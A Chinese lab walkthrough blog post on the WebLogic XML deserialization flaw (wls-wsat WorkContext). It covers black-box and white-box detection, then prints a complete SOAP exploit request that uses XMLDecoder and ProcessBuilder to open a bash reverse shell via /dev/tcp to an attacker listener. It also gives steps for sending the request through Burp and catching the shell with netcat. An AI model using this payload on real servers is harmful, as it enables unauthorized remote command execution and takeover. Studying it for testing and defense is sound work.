【weblogic】XML反序列化漏洞

序列化: 将程序中的一个对象(Object)的状态(如属性、值)转换成一种可以存储或传输的格式(如XML字符串、二进制流)的过程。

反序列化: 是序列化的逆过程。将存储或传输的格式(如XML字符串)还原成一个内存中的活的对象(Object)的过程。

XML反序列化: 特指使用XML格式(如SOAP、Web服务的常用协议)作为序列化数据格式的反序列化操作。

用Bp 向目标WebLogic服务器发送了一个精心构造的SOAP请求 。这个请求的核心是利用WebLogic的WorkContext处理机制中的一个反序列化漏洞

第一段:黑盒测试方法

在黑盒测试场景下,检测XML反序列化漏洞主要依赖于对应用程序通信流量的分析。测试人员首先需要拦截并检查所有的HTTP请求,重点关注那些使用XML作为数据主体的接口,例如基于SOAP的WebService或配置失当的REST API。随后,通过有策略地修改XML结构,例如插入某些无害的测试标签,可以观察服务器的响应是否出现异常行为或暴露出有价值的错误信息(如Java类名、框架标识等)。为了进一步验证,可以提交公开的、无害的测试Payload,例如触发一个时间延迟或一个外部的DNS查询,通过观察应用程序是否存在预期的延迟或网络外联行为来判断漏洞是否存在。此外,借助Burp Suite的专项扩展(如Freddy)或其它自动化扫描工具,可以系统性地辅助完成这一检测过程。

第二段:白盒测试方法

在白盒测试场景下,代码审计是发现XML反序列化漏洞最直接有效的方法。安全人员可以直接在源代码中搜索危险的反序列化函数关键字,例如Java中的 XMLDecoder.readObject()、XStream库的 fromXML()或 .NET框架中的 XmlSerializer.Deserialize()。定位到这些关键函数后,审计的核心在于逆向追踪其输入参数的数据来源,仔细检查这些参数是否直接来源于用户可控的输入(如HTTP请求参数、Cookie、Header),或者是否在经过了不充分的校验后间接传递到了反序列化函数中。这种从代码层面进行的溯源分析,能够精准地识别出潜在的安全风险点

bash 复制代码
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.142.133:7001    #centos的ip和端口,也就是启动靶场环境的ip和端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.142.162/8888 0&gt;&amp;1</string>   #ip是kali的,开了8888监听端口的ip
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

repeter上放这段代码,然后修改ip,在kali上开启监听

开启网络监听器(Netcat),等待来自目标服务器的连接。

BP按发送

response第一行,服务器返回了500 Internal Server Error。表明恶意载荷已经被服务器处理,并且很可能已经触发了漏洞,导致服务器尝试执行注入的命令

说明已经**成功入侵了服务器,并获得了最高权限(root),**可以在上面执行任意命令(查看、修改、删除文件,安装软件,作为跳板攻击内网其他机器等)。

特别强调:安全人员授权测试

相关推荐
lingggggaaaa2 小时前
免杀对抗——C2远控篇&C&C++&DLL注入&过内存核晶&镂空新增&白加黑链&签名程序劫持
c语言·c++·学习·安全·网络安全·免杀对抗
QZ166560951595 小时前
数据分类分级系统:以自动化、全景视图与技术突破重塑运营商数据治理新范式
安全
架构技术专栏5 小时前
从0到1建设大模型内容安全:像造房子一样构建你的AI防御堡垒
安全
6***37945 小时前
Java安全
java·开发语言·安全
jenchoi4135 小时前
【2025-11-23】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·数据库·安全·web安全·网络安全
独行soc7 小时前
2025年渗透测试面试题总结-258(题目+回答)
网络·python·安全·web安全·渗透测试·安全狮
AI绘画小337 小时前
网络安全(黑客技术)—2025自学手册
网络·安全·web安全·网络安全·渗透测试
合才科技8 小时前
【要闻周报】网络安全与数据合规 11-21
安全·web安全
swanwei12 小时前
2025年11月22-23日互联网技术热点TOP3及影响分析(AI增量训练框架开源)
网络·人工智能·程序人生·安全·百度
华硕之声12 小时前
如何搭建生活秩序感?
科技·安全·技术美术